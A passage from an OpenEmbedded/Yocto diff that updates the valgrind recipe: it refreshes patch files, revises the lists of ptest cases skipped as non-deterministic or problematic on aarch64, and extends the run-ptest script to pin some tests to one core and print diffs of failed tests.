+Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Dave Lerner <dave.lerner@windriver.com>
Signed-off-by: Tudor Florea <tudor.florea@enea.com>
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+Increase time limit to 90 s.
+(double of the expected time of drd/tests/std_list on qemuarm64)
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
---
- tests/vg_regtest.in | 75 +++++++++++++++++++++++++++++++++++++++--------------
+ tests/vg_regtest.in | 75 +++++++++++++++++++++++++++++++++------------
1 file changed, 55 insertions(+), 20 deletions(-)
diff --git a/tests/vg_regtest.in b/tests/vg_regtest.in
-index a441f42..cb05b52 100755
+index ad18800..e4bd8cb 100755
--- a/tests/vg_regtest.in
+++ b/tests/vg_regtest.in
@@ -47,6 +47,7 @@
@@ -44,7 +49,7 @@ index a441f42..cb05b52 100755
. " Use EXTRA_REGTEST_OPTS to supply extra args for all tests\n"
. "\n";
-@@ -186,6 +187,7 @@ my $outer_args;
+@@ -187,6 +188,7 @@ my $run_outer_args = "";
my $valgrind_lib = "$tests_dir/.in_place";
my $keepunfiltered = 0;
my $looptillfail = 0;
@@ -52,7 +57,7 @@ index a441f42..cb05b52 100755
# default filter is the one named "filter_stderr" in the test's directory
my $default_stderr_filter = "filter_stderr";
-@@ -244,6 +246,8 @@ sub process_command_line()
+@@ -245,6 +247,8 @@ sub process_command_line()
$keepunfiltered = 1;
} elsif ($arg =~ /^--loop-till-fail$/) {
$looptillfail = 1;
@@ -61,12 +66,12 @@ index a441f42..cb05b52 100755
} else {
die $usage;
}
-@@ -365,13 +369,28 @@ sub read_vgtest_file($)
+@@ -376,13 +380,28 @@ sub read_vgtest_file($)
#----------------------------------------------------------------------------
# Since most of the program time is spent in system() calls, need this to
# propagate a Ctrl-C enabling us to quit.
-sub mysystem($)
-+# Enforce 30 seconds limit for the test.
++# Enforce 90 seconds limit for the test.
+# This resume execution of the remaining tests if valgrind hangs.
+sub mysystem($)
{
@@ -76,7 +81,7 @@ index a441f42..cb05b52 100755
+ my $exit_code=0;
+ eval {
+ local $SIG{'ALRM'} = sub { die "timed out\n" };
-+ alarm(30);
++ alarm(90);
+ $exit_code = system($_[0]);
+ alarm (0);
+ ($exit_code == 2) and die "SIGINT\n"; # 2 is SIGINT
@@ -95,7 +100,7 @@ index a441f42..cb05b52 100755
# if $keepunfiltered, copies $1 to $1.unfiltered.out
# renames $0 tp $1
sub filtered_rename($$)
-@@ -419,23 +438,25 @@ sub do_diffs($$$$)
+@@ -430,23 +449,25 @@ sub do_diffs($$$$)
# A match; remove .out and any previously created .diff files.
unlink("$name.$mid.out");
unlink(<$name.$mid.diff*>);
@@ -123,7 +128,7 @@ index a441f42..cb05b52 100755
$vgtest =~ /^(.*)\.vgtest/;
my $name = $1;
my $fullname = "$dir/$name";
-@@ -454,7 +475,11 @@ sub do_one_test($$)
+@@ -465,7 +486,11 @@ sub do_one_test($$)
} elsif (256 == $prereq_res) {
# Nb: weird Perl-ism -- exit code of '1' is seen by Perl as 256...
# Prereq failed, skip.
@@ -136,7 +141,7 @@ index a441f42..cb05b52 100755
return;
} else {
# Bad prereq; abort.
-@@ -472,7 +497,7 @@ sub do_one_test($$)
+@@ -483,7 +508,7 @@ sub do_one_test($$)
}
# If there is a progB, let's start it in background:
printf("%-16s valgrind $extraopts $vgopts $prog $args (progB: $progB $argsB)\n",
@@ -145,7 +150,7 @@ index a441f42..cb05b52 100755
# progB.done used to detect child has finished. See below.
# Note: redirection of stdout and stderr is before $progB to allow argsB
# to e.g. redirect stdoutB to stderrB
-@@ -488,7 +513,8 @@ sub do_one_test($$)
+@@ -499,7 +524,8 @@ sub do_one_test($$)
. "touch progB.done) &");
}
} else {
@@ -155,7 +160,7 @@ index a441f42..cb05b52 100755
}
# Collect environment variables, if any.
-@@ -529,7 +555,7 @@ sub do_one_test($$)
+@@ -540,7 +566,7 @@ sub do_one_test($$)
# Find all the .stdout.exp files. If none, use /dev/null.
my @stdout_exps = <$name.stdout.exp*>;
@stdout_exps = ( "/dev/null" ) if (0 == scalar @stdout_exps);
@@ -164,7 +169,7 @@ index a441f42..cb05b52 100755
# Filter stderr
$stderr_filter_args = $name if (! defined $stderr_filter_args);
-@@ -538,7 +564,7 @@ sub do_one_test($$)
+@@ -549,7 +575,7 @@ sub do_one_test($$)
# Find all the .stderr.exp files. At least one must exist.
my @stderr_exps = <$name.stderr.exp*>;
(0 != scalar @stderr_exps) or die "Could not find `$name.stderr.exp*'\n";
@@ -173,7 +178,7 @@ index a441f42..cb05b52 100755
if (defined $progB) {
# wait for the child to be finished
-@@ -562,7 +588,7 @@ sub do_one_test($$)
+@@ -573,7 +599,7 @@ sub do_one_test($$)
# Find all the .stdoutB.exp files. If none, use /dev/null.
my @stdoutB_exps = <$name.stdoutB.exp*>;
@stdoutB_exps = ( "/dev/null" ) if (0 == scalar @stdoutB_exps);
@@ -182,7 +187,7 @@ index a441f42..cb05b52 100755
# Filter stderr
$stderrB_filter_args = $name if (! defined $stderrB_filter_args);
-@@ -571,7 +597,7 @@ sub do_one_test($$)
+@@ -582,7 +608,7 @@ sub do_one_test($$)
# Find all the .stderrB.exp files. At least one must exist.
my @stderrB_exps = <$name.stderrB.exp*>;
(0 != scalar @stderrB_exps) or die "Could not find `$name.stderrB.exp*'\n";
@@ -191,7 +196,7 @@ index a441f42..cb05b52 100755
}
# Maybe do post-test check
-@@ -583,7 +609,7 @@ sub do_one_test($$)
+@@ -594,7 +620,7 @@ sub do_one_test($$)
# Find all the .post.exp files. If none, use /dev/null.
my @post_exps = <$name.post.exp*>;
@post_exps = ( "/dev/null" ) if (0 == scalar @post_exps);
@@ -200,7 +205,7 @@ index a441f42..cb05b52 100755
}
}
-@@ -592,6 +618,13 @@ sub do_one_test($$)
+@@ -603,6 +629,13 @@ sub do_one_test($$)
print("(cleanup operation failed: $cleanup)\n");
}
@@ -214,25 +219,25 @@ index a441f42..cb05b52 100755
$num_tests_done++;
}
-@@ -631,7 +664,7 @@ sub test_one_dir($$)
- my $found_tests = (0 != (grep { $_ =~ /\.vgtest$/ } @fs));
+@@ -643,7 +676,7 @@ sub test_one_dir($$)
+ my $tests_start_time = time;
if ($found_tests) {
- print "-- Running tests in $full_dir $dashes\n";
+ print "-- Running tests in $full_dir $dashes\n" if ($yoctoptest == 0);
}
foreach my $f (@fs) {
if (-d $f) {
-@@ -641,7 +674,7 @@ sub test_one_dir($$)
- }
- }
- if ($found_tests) {
-- print "-- Finished tests in $full_dir $dashes\n";
+@@ -657,7 +690,7 @@ sub test_one_dir($$)
+ my $end_time = "(in $tests_cost_time sec)";
+ my $end_dashes = "-" x (50 - (length $full_dir)
+ - (length $end_time) - 1);
+- print "-- Finished tests in $full_dir $end_time $end_dashes\n";
+ print "-- Finished tests in $full_dir $dashes\n" if ($yoctoptest == 0);
}
chdir("..");
-@@ -667,10 +700,12 @@ sub summarise_results
+@@ -683,10 +716,12 @@ sub summarise_results
$num_failures{"stdout"}, plural($num_failures{"stdout"}),
$num_failures{"stderrB"}, plural($num_failures{"stderrB"}),
$num_failures{"stdoutB"}, plural($num_failures{"stdoutB"}),
@@ -248,5 +253,5 @@ index a441f42..cb05b52 100755
print "\n";
}
--
-2.6.2
+2.30.2
diff --git a/meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch b/meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch
deleted file mode 100644
index 6176640e42..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From b4b9f072c22f96844e02cb9d68f7ff2408680817 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 10 Jun 2017 01:07:59 -0700
-Subject: [PATCH 5/6] tc20_verifywrap.c: Fake __GLIBC_PREREQ with musl
-
-similar to sun
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- helgrind/tests/tc20_verifywrap.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/helgrind/tests/tc20_verifywrap.c b/helgrind/tests/tc20_verifywrap.c
-index c110000..a311a49 100644
---- a/helgrind/tests/tc20_verifywrap.c
-+++ b/helgrind/tests/tc20_verifywrap.c
-@@ -20,7 +20,7 @@
-
- #if !defined(__APPLE__)
-
--#if defined(__sun__)
-+#if defined(__sun__) || (defined(__linux__) && !defined(__GLIBC__))
- /* Fake __GLIBC_PREREQ on Solaris. Pretend glibc >= 2.4. */
- # define __GLIBC_PREREQ
- #else
---
-2.13.1
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/Added-support-for-PPC-instructions-mfatbu-mfatbl.patch b/meta/recipes-devtools/valgrind/valgrind/Added-support-for-PPC-instructions-mfatbu-mfatbl.patch
index 07774f38a9..51cd3532d3 100644
--- a/meta/recipes-devtools/valgrind/valgrind/Added-support-for-PPC-instructions-mfatbu-mfatbl.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/Added-support-for-PPC-instructions-mfatbu-mfatbl.patch
@@ -3,14 +3,14 @@ From: Aneesh Bansal <aneesh.bansal@freescale.com>
Date: Mon, 21 Nov 2011 17:31:39 +0530
Subject: [PATCH] Added support for PPC instructions mfatbu, mfatbl.
-Upstream-Status: Pending
-
-Signed-off-by: Aneesh Bansal <aneesh.bansal@freescale.com>
----
Currently Valgrind 3.7.0 does not have support for PPC instructions mfatbu and mfatbl. When we run a USDPAA application with VALGRIND, the following error is given by valgrind :
dis_proc_ctl(ppc)(mfspr,SPR)(0x20F)
disInstr(ppc): unhandled instruction: 0x7C0F82A6
+Upstream-Status: Submitted [https://bugs.kde.org/show_bug.cgi?id=289836]
+
+Signed-off-by: Aneesh Bansal <aneesh.bansal@freescale.com>
+---
VEX/priv/guest_ppc_defs.h | 2 ++
VEX/priv/guest_ppc_helpers.c | 18 ++++++++++++++++++
diff --git a/meta/recipes-devtools/valgrind/valgrind/avoid-neon-for-targets-which-don-t-support-it.patch b/meta/recipes-devtools/valgrind/valgrind/avoid-neon-for-targets-which-don-t-support-it.patch
index 5fcfec0015..82b8344279 100644
--- a/meta/recipes-devtools/valgrind/valgrind/avoid-neon-for-targets-which-don-t-support-it.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/avoid-neon-for-targets-which-don-t-support-it.patch
@@ -8,7 +8,7 @@ test 64-bit float copies when building for ARM. Allow it to do so if
possible, but fallback to C when building for ARM targets which don't
support neon.
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://bugs.kde.org/show_bug.cgi?id=454346]
Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
---
diff --git a/meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch b/meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch
index b431d3356e..b9804e7451 100644
--- a/meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch
@@ -1,4 +1,4 @@
-From 67e7a690107efb16d6d5aebfe420b64a552accdf Mon Sep 17 00:00:00 2001
+From beaa5b64c60d501fa9cd59fdc563e5f5bccf6882 Mon Sep 17 00:00:00 2001
From: Qing He <qing.he@intel.com>
Date: Tue, 31 Aug 2010 22:51:58 +0800
Subject: [PATCH] valgrind: fix perl scripts
@@ -17,35 +17,15 @@ a better fix would need:
Upstream-Status: Inappropriate [configuration]
Signed-off-by: Maxin B. John <maxin.john@intel.com>
+
---
- cachegrind/cg_annotate.in | 2 +-
- cachegrind/cg_diff.in | 2 +-
- massif/ms_print.in | 2 +-
- perf/vg_perf.in | 2 +-
- 4 files changed, 4 insertions(+), 4 deletions(-)
+ massif/ms_print.in | 2 +-
+ perf/vg_perf.in | 2 +-
+ tests/vg_regtest.in | 2 +-
+ 3 files changed, 3 insertions(+), 3 deletions(-)
-diff --git a/cachegrind/cg_annotate.in b/cachegrind/cg_annotate.in
-index 69365e8..978265d 100644
---- a/cachegrind/cg_annotate.in
-+++ b/cachegrind/cg_annotate.in
-@@ -1,4 +1,4 @@
--#! @PERL@
-+#! /usr/bin/perl
-
- ##--------------------------------------------------------------------##
- ##--- Cachegrind's annotator. cg_annotate.in ---##
-diff --git a/cachegrind/cg_diff.in b/cachegrind/cg_diff.in
-index 395460b..05873cc 100755
---- a/cachegrind/cg_diff.in
-+++ b/cachegrind/cg_diff.in
-@@ -1,4 +1,4 @@
--#! @PERL@
-+#! /usr/bin/perl
-
- ##--------------------------------------------------------------------##
- ##--- Cachegrind's differencer. cg_diff.in ---##
diff --git a/massif/ms_print.in b/massif/ms_print.in
-index e6fae89..3b85b40 100755
+index a206ce4..df1bc31 100755
--- a/massif/ms_print.in
+++ b/massif/ms_print.in
@@ -1,4 +1,4 @@
@@ -55,7 +35,7 @@ index e6fae89..3b85b40 100755
##--------------------------------------------------------------------##
##--- Massif's results printer ms_print.in ---##
diff --git a/perf/vg_perf.in b/perf/vg_perf.in
-index 7a80cb0..28f6156 100644
+index 90ee1d2..c585096 100644
--- a/perf/vg_perf.in
+++ b/perf/vg_perf.in
@@ -1,4 +1,4 @@
@@ -65,7 +45,7 @@ index 7a80cb0..28f6156 100644
##--- Valgrind performance testing script vg_perf ---##
##--------------------------------------------------------------------##
diff --git a/tests/vg_regtest.in b/tests/vg_regtest.in
-index cb05b52..032e947 100755
+index 7152765..ad18800 100755
--- a/tests/vg_regtest.in
+++ b/tests/vg_regtest.in
@@ -1,4 +1,4 @@
@@ -74,5 +54,3 @@ index cb05b52..032e947 100755
##--------------------------------------------------------------------##
##--- Valgrind regression testing script vg_regtest ---##
##--------------------------------------------------------------------##
----
-2.4.0
diff --git a/meta/recipes-devtools/valgrind/valgrind/remove-for-aarch64 b/meta/recipes-devtools/valgrind/valgrind/remove-for-aarch64
index a3a0c6e50f..5bfba1c8d3 100644
--- a/meta/recipes-devtools/valgrind/valgrind/remove-for-aarch64
+++ b/meta/recipes-devtools/valgrind/valgrind/remove-for-aarch64
@@ -1,217 +1,8 @@
-gdbserver_tests/hgtls
-cachegrind/tests/ann1
-callgrind/tests/simwork1
-callgrind/tests/simwork2
-callgrind/tests/simwork3
-callgrind/tests/simwork-both
-callgrind/tests/simwork-cache
-callgrind/tests/threads
-callgrind/tests/threads-use
-drd/tests/annotate_barrier
-drd/tests/annotate_barrier_xml
-drd/tests/annotate_hbefore
-drd/tests/annotate_hb_err
-drd/tests/annotate_hb_race
-drd/tests/annotate_ignore_read
-drd/tests/annotate_ignore_rw
-drd/tests/annotate_ignore_rw2
-drd/tests/annotate_ignore_write
-drd/tests/annotate_ignore_write2
-drd/tests/annotate_order_1
-drd/tests/annotate_order_2
-drd/tests/annotate_order_3
-drd/tests/annotate_publish_hg
-drd/tests/annotate_rwlock
-drd/tests/annotate_rwlock_hg
drd/tests/annotate_sem
-drd/tests/annotate_smart_pointer
-drd/tests/annotate_smart_pointer2
-drd/tests/annotate_spinlock
-drd/tests/annotate_static
-drd/tests/annotate_trace_memory
-drd/tests/annotate_trace_memory_xml
-drd/tests/atomic_var
-drd/tests/bar_bad
-drd/tests/bar_bad_xml
-drd/tests/bar_trivial
-drd/tests/bug-235681
-drd/tests/bug322621
-drd/tests/circular_buffer
-drd/tests/concurrent_close
-drd/tests/custom_alloc
-drd/tests/custom_alloc_fiw
-drd/tests/dlopen
-drd/tests/fork-parallel
-drd/tests/fork-serial
-drd/tests/fp_race
-drd/tests/fp_race2
-drd/tests/fp_race_xml
-drd/tests/free_is_write
-drd/tests/free_is_write2
-drd/tests/hg01_all_ok
-drd/tests/hg02_deadlock
-drd/tests/hg03_inherit
-drd/tests/hg04_race
-drd/tests/hg05_race2
-drd/tests/hg06_readshared
-drd/tests/hold_lock_1
-drd/tests/hold_lock_2
-drd/tests/linuxthreads_det
-drd/tests/matinv
-drd/tests/memory_allocation
-drd/tests/monitor_example
-drd/tests/new_delete
-drd/tests/pth_barrier
-drd/tests/pth_barrier2
-drd/tests/pth_barrier3
-drd/tests/pth_barrier_race
-drd/tests/pth_barrier_reinit
-drd/tests/pth_barrier_thr_cr
-drd/tests/pth_broadcast
-drd/tests/pth_cancel_locked
-drd/tests/pth_cleanup_handler
-drd/tests/pth_cond_race
-drd/tests/pth_cond_race2
-drd/tests/pth_detached2
-drd/tests/pth_detached3
-drd/tests/pth_detached_sem
-drd/tests/pth_inconsistent_cond_wait
-drd/tests/pth_mutex_reinit
-drd/tests/pth_once
-drd/tests/pth_process_shared_mutex
-drd/tests/pth_spinlock
-drd/tests/pth_uninitialized_cond
-drd/tests/read_and_free_race
-drd/tests/recursive_mutex
-drd/tests/rwlock_race
-drd/tests/rwlock_test
-drd/tests/rwlock_type_checking
-drd/tests/sem_as_mutex
-drd/tests/sem_as_mutex2
-drd/tests/sem_as_mutex3
-drd/tests/sem_open
-drd/tests/sem_open2
-drd/tests/sem_open3
-drd/tests/sem_open_traced
-drd/tests/sem_wait
-drd/tests/sigalrm
-drd/tests/sigaltstack
-drd/tests/std_atomic
-drd/tests/std_string
-drd/tests/std_thread
-drd/tests/std_thread2
-drd/tests/str_tester
-drd/tests/tc01_simple_race
-drd/tests/tc02_simple_tls
-drd/tests/tc03_re_excl
-drd/tests/tc04_free_lock
-drd/tests/tc05_simple_race
-drd/tests/tc06_two_races
-drd/tests/tc07_hbl1
-drd/tests/tc08_hbl2
-drd/tests/tc09_bad_unlock
-drd/tests/tc10_rec_lock
-drd/tests/tc11_XCHG
-drd/tests/tc12_rwl_trivial
-drd/tests/tc13_laog1
-drd/tests/tc15_laog_lockdel
-drd/tests/tc16_byterace
-drd/tests/tc17_sembar
-drd/tests/tc18_semabuse
-drd/tests/tc19_shadowmem
-drd/tests/tc21_pthonce
-drd/tests/tc22_exit_w_lock
-drd/tests/tc23_bogus_condwait
-helgrind/tests/annotate_rwlock
-helgrind/tests/annotate_smart_pointer
-helgrind/tests/bar_bad
-helgrind/tests/bar_trivial
-helgrind/tests/bug322621
-helgrind/tests/cond_init_destroy
-helgrind/tests/cond_timedwait_invalid
-helgrind/tests/cond_timedwait_test
-helgrind/tests/free_is_write
-helgrind/tests/hg01_all_ok
-helgrind/tests/hg03_inherit
-helgrind/tests/hg04_race
+gdbserver_tests/hgtls
helgrind/tests/hg05_race2
-helgrind/tests/hg06_readshared
-helgrind/tests/locked_vs_unlocked1_fwd
-helgrind/tests/locked_vs_unlocked1_rev
-helgrind/tests/locked_vs_unlocked2
-helgrind/tests/locked_vs_unlocked3
-helgrind/tests/pth_barrier1
-helgrind/tests/pth_barrier2
-helgrind/tests/pth_barrier3
-helgrind/tests/pth_destroy_cond
-helgrind/tests/rwlock_race
-helgrind/tests/rwlock_test
-helgrind/tests/shmem_abits
-helgrind/tests/stackteardown
-helgrind/tests/t2t_laog
-helgrind/tests/tc01_simple_race
-helgrind/tests/tc02_simple_tls
-helgrind/tests/tc03_re_excl
-helgrind/tests/tc04_free_lock
-helgrind/tests/tc05_simple_race
-helgrind/tests/tc06_two_races
-helgrind/tests/tc06_two_races_xml
-helgrind/tests/tc07_hbl1
-helgrind/tests/tc08_hbl2
-helgrind/tests/tc09_bad_unlock
-helgrind/tests/tc10_rec_lock
-helgrind/tests/tc11_XCHG
-helgrind/tests/tc12_rwl_trivial
-helgrind/tests/tc13_laog1
-helgrind/tests/tc14_laog_dinphils
-helgrind/tests/tc15_laog_lockdel
-helgrind/tests/tc16_byterace
-helgrind/tests/tc17_sembar
-helgrind/tests/tc18_semabuse
-helgrind/tests/tc19_shadowmem
helgrind/tests/tc20_verifywrap
-helgrind/tests/tc21_pthonce
-helgrind/tests/tc22_exit_w_lock
-helgrind/tests/tc23_bogus_condwait
-helgrind/tests/tc24_nonzero_sem
-helgrind/tests/tls_threads
-memcheck/tests/accounting
-memcheck/tests/addressable
-memcheck/tests/arm64-linux/scalar
-memcheck/tests/atomic_incs
-memcheck/tests/badaddrvalue
-memcheck/tests/badfree
-memcheck/tests/badfree-2trace
-memcheck/tests/badfree3
-memcheck/tests/badjump
-memcheck/tests/badjump2
-memcheck/tests/badloop
-memcheck/tests/badpoll
-memcheck/tests/badrw
-memcheck/tests/big_blocks_freed_list
-memcheck/tests/brk2
memcheck/tests/dw4
-memcheck/tests/err_disable4
-memcheck/tests/err_disable_arange1
-memcheck/tests/leak-autofreepool-5
-memcheck/tests/leak_cpp_interior
-memcheck/tests/linux/lsframe1
-memcheck/tests/linux/lsframe2
-memcheck/tests/linux/with-space
-memcheck/tests/origin5-bz2
-memcheck/tests/origin6-fp
-memcheck/tests/overlap
-memcheck/tests/partial_load_dflt
-memcheck/tests/pdb-realloc2
-memcheck/tests/sh-mem
-memcheck/tests/sh-mem-random
-memcheck/tests/sigaltstack
-memcheck/tests/sigkill
-memcheck/tests/signal2
-memcheck/tests/supp_unknown
-memcheck/tests/threadname
-memcheck/tests/threadname_xml
-memcheck/tests/unit_oset
memcheck/tests/varinfo1
memcheck/tests/varinfo2
memcheck/tests/varinfo3
@@ -219,19 +10,23 @@ memcheck/tests/varinfo4
memcheck/tests/varinfo5
memcheck/tests/varinfo6
memcheck/tests/varinforestrict
-memcheck/tests/vcpu_bz2
-memcheck/tests/vcpu_fbench
-memcheck/tests/vcpu_fnfns
-memcheck/tests/wcs
-memcheck/tests/wrap1
-memcheck/tests/wrap2
-memcheck/tests/wrap3
-memcheck/tests/wrap4
-memcheck/tests/wrap5
-memcheck/tests/wrap6
-memcheck/tests/wrap7
-memcheck/tests/wrap8
-memcheck/tests/wrapmalloc
-memcheck/tests/wrapmallocstatic
-memcheck/tests/writev1
-memcheck/tests/xml1
+memcheck/tests/atomic_incs
+memcheck/tests/bug464969_d_demangle
+memcheck/tests/cxx17_aligned_new
+memcheck/tests/demangle
+memcheck/tests/long_namespace_xml
+memcheck/tests/mismatches
+memcheck/tests/mismatches_xml
+memcheck/tests/new_aligned_delete_default
+memcheck/tests/new_delete_mismatch_size
+memcheck/tests/new_nothrow
+memcheck/tests/realloc_size_zero_mismatch
+memcheck/tests/sized_aligned_new_delete_args
+memcheck/tests/sized_aligned_new_delete_misaligned1
+memcheck/tests/sized_aligned_new_delete_misaligned1_xml
+memcheck/tests/sized_aligned_new_delete_misaligned2
+memcheck/tests/sized_aligned_new_delete_misaligned2_xml
+memcheck/tests/sized_aligned_new_delete_misaligned3
+memcheck/tests/sized_aligned_new_delete_misaligned3_xml
+memcheck/tests/sized_delete
+none/tests/bigcode
diff --git a/meta/recipes-devtools/valgrind/valgrind/remove-for-all b/meta/recipes-devtools/valgrind/valgrind/remove-for-all
new file mode 100644
index 0000000000..8435a6d41d
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/remove-for-all
@@ -0,0 +1,29 @@
+cachegrind/tests/wrap5
+drd/tests/boost_thread
+none/tests/amd64/fb_test_amd64
+none/tests/tls
+gdbserver_tests/hginfo
+gdbserver_tests/mcinvokeRU
+memcheck/tests/linux/dlclose_leak-no-keep
+memcheck/tests/linux/dlclose_leak
+memcheck/tests/linux/timerfd-syscall
+memcheck/tests/supp_unknown
+memcheck/tests/wrap1
+memcheck/tests/wrap2
+memcheck/tests/wrap3
+memcheck/tests/wrap4
+memcheck/tests/wrap5
+memcheck/tests/wrap6
+memcheck/tests/wrap7
+memcheck/tests/wrap8
+helgrind/tests/tls_threads
+helgrind/tests/pth_mempcpy_false_races
+drd/tests/bar_bad
+drd/tests/bar_bad_xml
+drd/tests/pth_barrier_thr_cr
+drd/tests/std_thread2
+drd/tests/thread_name_xml
+massif/tests/deep-D
+massif/tests/bug469146
+massif/tests/new-cpp
+massif/tests/overloaded-new
diff --git a/meta/recipes-devtools/valgrind/valgrind/run-ptest b/meta/recipes-devtools/valgrind/valgrind/run-ptest
index 97b0a85dbf..15cf03f9d2 100755
--- a/meta/recipes-devtools/valgrind/valgrind/run-ptest
+++ b/meta/recipes-devtools/valgrind/valgrind/run-ptest
@@ -7,16 +7,23 @@
# Randy MacLeod <Randy.MacLeod@windriver.com>
###############################################################
VALGRIND_LIB=@libdir@/valgrind
+VALGRIND_LIBEXECDIR=@libexecdir@/valgrind
VALGRIND_BIN=@bindir@/valgrind
LOG="${VALGRIND_LIB}/ptest/valgrind_ptest_$(date +%Y%m%d-%H%M%S).log"
TOOLS="memcheck cachegrind callgrind helgrind drd massif dhat lackey none"
-EXP_TOOLS="exp-bbv exp-dhat exp-sgcheck"
+EXP_TOOLS="exp-bbv"
GDB_BIN=@bindir@/gdb
cd ${VALGRIND_LIB}/ptest && ./gdbserver_tests/make_local_links ${GDB_BIN}
+echo "Hide valgrind tests that are non-deterministic"
+echo "Reported at https://bugs.kde.org/show_bug.cgi?id=430321"
+for i in `cat remove-for-all`; do
+ mv $i.vgtest $i.IGNORE;
+done
+
arch=`arch`
if [ "$arch" = "aarch64" ]; then
echo "Aarch64: Hide valgrind tests that result in defunct process and then out of memory"
@@ -25,18 +32,35 @@ if [ "$arch" = "aarch64" ]; then
done
fi
+echo "Run non-deterministic tests using taskset to limit them to a single core."
+for i in `cat taskset_nondeterministic_tests`; do
+ # The remove-for-aarch64 and taskset_nondeterministic_tests may overlap so
+ # check if a file exist.
+ if test -f "${i}.vgtest"; then
+ taskset 0x00000001 perl tests/vg_regtest --valgrind=${VALGRIND_BIN} --valgrind-lib=${VALGRIND_LIBEXECDIR} --yocto-ptest $i 2>&1|tee -a ${LOG}
+ mv $i.vgtest $i.IGNORE
+ fi
+done
+
cd ${VALGRIND_LIB}/ptest && ./tests/vg_regtest \
--valgrind=${VALGRIND_BIN} \
- --valgrind-lib=${VALGRIND_LIB} \
+ --valgrind-lib=${VALGRIND_LIBEXECDIR} \
--yocto-ptest \
gdbserver_tests ${TOOLS} ${EXP_TOOLS} \
- 2>&1|tee ${LOG}
+ 2>&1|tee -a ${LOG}
cd ${VALGRIND_LIB}/ptest && \
./tests/post_regtest_checks $(pwd) \
gdbserver_tests ${TOOLS} ${EXP_TOOLS} \
2>&1|tee -a ${LOG}
+echo "Restore non-deterministic tests"
+for i in `cat taskset_nondeterministic_tests`; do
+ if test -f "${i}.vgtest.IGNORE"; then
+ mv $i.IGNORE $i.vgtest;
+ fi
+done
+
if [ "$arch" = "aarch64" ]; then
echo "Aarch64: Restore valgrind tests that result in defunct process and then out of memory"
for i in `cat remove-for-aarch64`; do
@@ -44,6 +68,20 @@ if [ "$arch" = "aarch64" ]; then
done
fi
+echo "Restore valgrind tests that are non-deterministc"
+for i in `cat remove-for-all`; do
+ mv $i.IGNORE $i.vgtest;
+done
+
+echo "Failed test details..."
+failed_tests=`grep FAIL: ${LOG} | awk '{print $2}'`
+for test in $failed_tests; do
+ for diff_results in `ls $test*.diff`; do
+ echo $diff_results
+ echo '************'
+ cat $diff_results
+ done
+done
passed=`grep PASS: ${LOG}|wc -l`
failed=`grep FAIL: ${LOG}|wc -l`
diff --git a/meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch b/meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch
index eea671da0a..bde1241dc7 100644
--- a/meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch
@@ -1,3 +1,8 @@
+From 8154d38bac5cdb3675cfdaf562ab9da01988b263 Mon Sep 17 00:00:00 2001
+From: Yi Fan Yu <yifan.yu@windriver.com>
+Date: Wed, 17 Mar 2021 12:16:31 -0400
+Subject: [PATCH 19/20] remove s390x_vec_op_t
+
s390x_vec_op_t is not needed anywhere, only elements of enum are accessed
removing it ensures that valgrind can be built with -fno-common option
@@ -6,14 +11,25 @@ ld: ../../VEX/libvex-amd64-linux.a(libvex_amd64_linux_a-guest_s390_helpers.o):/u
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
+---
+ VEX/priv/guest_s390_defs.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/VEX/priv/guest_s390_defs.h b/VEX/priv/guest_s390_defs.h
+index 9054290..dab8002 100644
--- a/VEX/priv/guest_s390_defs.h
+++ b/VEX/priv/guest_s390_defs.h
-@@ -286,7 +286,7 @@ enum {
- S390_VEC_OP_VFCHE = 18,
- S390_VEC_OP_VFTCI = 19,
- S390_VEC_OP_LAST = 20 // supposed to be the last element in enum
+@@ -284,7 +284,7 @@ typedef enum {
+ S390_VEC_OP_VBPERM,
+ S390_VEC_OP_VMSL,
+ S390_VEC_OP_LAST // supposed to be the last element in enum
-} s390x_vec_op_t;
+};
/* Arguments of s390x_dirtyhelper_vec_op(...) which are packed into one
ULong variable.
+--
+2.29.2
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/taskset_nondeterministic_tests b/meta/recipes-devtools/valgrind/valgrind/taskset_nondeterministic_tests
new file mode 100644
index 0000000000..e15100ade7
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/taskset_nondeterministic_tests
@@ -0,0 +1,2 @@
+helgrind/tests/hg05_race2
+helgrind/tests/tc09_bad_unlock
diff --git a/meta/recipes-devtools/valgrind/valgrind/use-appropriate-march-mcpu-mfpu-for-ARM-test-apps.patch b/meta/recipes-devtools/valgrind/valgrind/use-appropriate-march-mcpu-mfpu-for-ARM-test-apps.patch
index adea405213..f15d04b173 100644
--- a/meta/recipes-devtools/valgrind/valgrind/use-appropriate-march-mcpu-mfpu-for-ARM-test-apps.patch
